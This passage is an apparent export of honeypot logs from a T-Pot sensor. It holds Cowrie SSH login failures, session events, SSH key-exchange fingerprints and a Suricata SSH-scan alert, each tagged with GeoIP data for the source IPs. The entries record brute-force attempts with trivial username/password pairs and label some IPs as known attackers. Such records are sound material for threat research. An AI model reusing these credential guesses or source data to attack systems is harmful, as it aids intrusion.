27210	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:13:39.974201+03	2021-09-20 14:15:14.279645+03	{"_id": "jQbpAnwBvYTbRNuEXSWq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "889c28e0fc51", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:13:39.974201Z", "@timestamp": "2021-09-20T11:13:39.974Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27211	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:39.98852+03	2021-09-20 14:15:14.281646+03	{"_id": "jgbpAnwBvYTbRNuEXSWq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7e6212a2d360", "@version": "1", "timestamp": "2021-09-20T11:13:39.988520Z", "@timestamp": "2021-09-20T11:13:39.988Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27212	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:40.689108+03	2021-09-20 14:15:14.283648+03	{"_id": "lQbpAnwBvYTbRNuEYSWT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [jose/jose] failed", "session": "04e0a9f07ef9", "@version": "1", "password": "jose", "username": "jose", "timestamp": "2021-09-20T11:13:40.689108Z", "@timestamp": "2021-09-20T11:13:40.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27213	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:13:41.037396+03	2021-09-20 14:15:14.284645+03	{"_id": "lgbpAnwBvYTbRNuEYSWT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "889c28e0fc51", "@version": "1", "duration": 1.350663661956787, "timestamp": "2021-09-20T11:13:41.037396Z", "@timestamp": "2021-09-20T11:13:41.037Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27214	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:41.54485+03	2021-09-20 14:15:14.285647+03	{"_id": "lwbpAnwBvYTbRNuEYSWT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [johnny/johnny] failed", "session": "7e6212a2d360", "@version": "1", "password": "johnny", "username": "johnny", "timestamp": "2021-09-20T11:13:41.544850Z", "@timestamp": "2021-09-20T11:13:41.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27215	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:37.491496+03	2021-09-20 14:15:14.286646+03	{"_id": "WQbpAnwBvYTbRNuEUSXv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0f9ae09f884d", "@version": "1", "duration": 2.6708221435546875, "timestamp": "2021-09-20T11:13:37.491496Z", "@timestamp": "2021-09-20T11:13:37.491Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27216	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:37.806127+03	2021-09-20 14:15:14.288645+03	{"_id": "WwbpAnwBvYTbRNuEVSXY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "90eba1df5dca", "@version": "1", "duration": 3.800581693649292, "timestamp": "2021-09-20T11:13:37.806127Z", "@timestamp": "2021-09-20T11:13:37.806Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27218	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:13:38.779359+03	2021-09-20 14:15:14.291646+03	{"_id": "XgbpAnwBvYTbRNuEVyXc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:13:38.779359+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1176859373134943, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 52046, "dest_port": 22, "timestamp": "2021-09-20T11:13:38.779359Z", "@timestamp": "2021-09-20T11:13:38.779Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27219	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:39.065525+03	2021-09-20 14:15:14.292646+03	{"_id": "XwbpAnwBvYTbRNuEWSUN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52046, "timestamp": "2021-09-20T11:13:39.065525", "@timestamp": "2021-09-20T11:13:39.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27220	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:39.060612+03	2021-09-20 14:15:14.293647+03	{"_id": "YAbpAnwBvYTbRNuEWSXD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:59328 (192.168.176.2:22) [session: 04e0a9f07ef9]", "session": "04e0a9f07ef9", "@version": "1", "protocol": "ssh", "src_port": 59328, "dest_port": 22, "timestamp": "2021-09-20T11:13:39.060612Z", "@timestamp": "2021-09-20T11:13:39.060Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27221	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:13:39.346215+03	2021-09-20 14:15:14.295647+03	{"_id": "bgbpAnwBvYTbRNuEWSXD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4964a6a48908", "@version": "1", "timestamp": "2021-09-20T11:13:39.346215Z", "@timestamp": "2021-09-20T11:13:39.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27280	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:02.77312+03	2021-09-20 14:15:14.369648+03	{"_id": "_QbpAnwBvYTbRNuEtyak", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a235e0e49439", "@version": "1", "duration": 2.9127748012542725, "timestamp": "2021-09-20T11:14:02.773120Z", "@timestamp": "2021-09-20T11:14:02.773Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27222	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:13:39.969928+03	2021-09-20 14:15:14.297646+03	{"_id": "ewbpAnwBvYTbRNuEWyXG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 821203868805259, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 54408, "dest_port": 22, "timestamp": "2021-09-20T11:13:39.969928Z", "@timestamp": "2021-09-20T11:13:39.969Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27223	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:13:39.345464+03	2021-09-20 14:15:14.298644+03	{"_id": "gAbpAnwBvYTbRNuEXCX0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hma